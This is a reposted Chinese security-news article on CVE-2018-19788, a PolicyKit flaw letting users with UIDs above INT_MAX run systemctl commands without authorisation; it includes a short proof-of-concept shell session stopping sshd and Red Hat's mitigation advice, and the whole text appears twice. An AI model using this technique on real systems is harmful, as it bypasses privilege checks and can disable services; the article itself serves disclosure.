欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

CVE-2018-19788:UID大于INT_MAX的Linux用户任意代码执行漏洞

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助


Linux操作系统中UID值大于2147483647的低权限账户可以未授权执行任意systemctl命令。该漏洞存在于PolicyKit(polkit)中,PolicyKit是类Unix操作系统中定义策略、处理系统范围内权限和提供给非特权进程与特权进程通信方式的应用级工具集,比如sudo。
该漏洞CVE编号为CVE-2018-19788,影响PolicyKit v0.115版本,这是大多数主流Linux发行版中预装的版本,其中包括Red Hat, Debian, Ubuntu和CentOS。漏洞是因为PolicyKit没有UID大于INT_MAX的低权限用户的权限请求进行适当的验证。INT_MAX是计算机程序中用于定义整数变量可以保存的最大值的常量,等于2147483647,十六进制表示为0x7FFFFFFF。
也就是说,如果用户在受影响的Linux操作系统中创建了UID大于INT_MAX值的用户账户,攻击者就可以利用PolicyKit组件来执行任意的systemctl命令。
$ systemctl --version
systemd 239
+PAM +AUDIT -SELINUX +IMA +APPARMOR +SMACK -SYSVINIT +UTMP -LIBCRYPTSETUP +GCRYPT -GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID -ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
$ id
uid=4000000000(someuser) gid=100(users) groups=100(users)
$ systemctl stop sshd.service
(pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
$ systemctl is-active sshd.service
inactive
安全研究人员Rich Mirch(Twitter @0xm1rch)发布了该漏洞的PoC,用UID 4000000000证明了该漏洞。

 
在补丁发布之前,Red Hat建议系统管理员不要设置负值UID或大于2147483646的UID,以缓解该漏洞可能带来的威胁。
 


Linux操作系统中UID值大于2147483647的低权限账户可以未授权执行任意systemctl命令。该漏洞存在于PolicyKit(polkit)中,PolicyKit是类Unix操作系统中定义策略、处理系统范围内权限和提供给非特权进程与特权进程通信方式的应用级工具集,比如sudo。
该漏洞CVE编号为CVE-2018-19788,影响PolicyKit v0.115版本,这是大多数主流Linux发行版中预装的版本,其中包括Red Hat, Debian, Ubuntu和CentOS。漏洞是因为PolicyKit没有UID大于INT_MAX的低权限用户的权限请求进行适当的验证。INT_MAX是计算机程序中用于定义整数变量可以保存的最大值的常量,等于2147483647,十六进制表示为0x7FFFFFFF。
也就是说,如果用户在受影响的Linux操作系统中创建了UID大于INT_MAX值的用户账户,攻击者就可以利用PolicyKit组件来执行任意的systemctl命令。
$ systemctl --version
systemd 239
+PAM +AUDIT -SELINUX +IMA +APPARMOR +SMACK -SYSVINIT +UTMP -LIBCRYPTSETUP +GCRYPT -GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID -ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid

www.wnhack.com

$ id
uid=4000000000(someuser) gid=100(users) groups=100(users)
$ systemctl stop sshd.service
(pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
$ systemctl is-active sshd.service
inactive
安全研究人员Rich Mirch(Twitter @0xm1rch)发布了该漏洞的PoC,用UID 4000000000证明了该漏洞。

 
在补丁发布之前,Red Hat建议系统管理员不要设置负值UID或大于2147483646的UID,以缓解该漏洞可能带来的威胁。
 

内容来自无奈安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。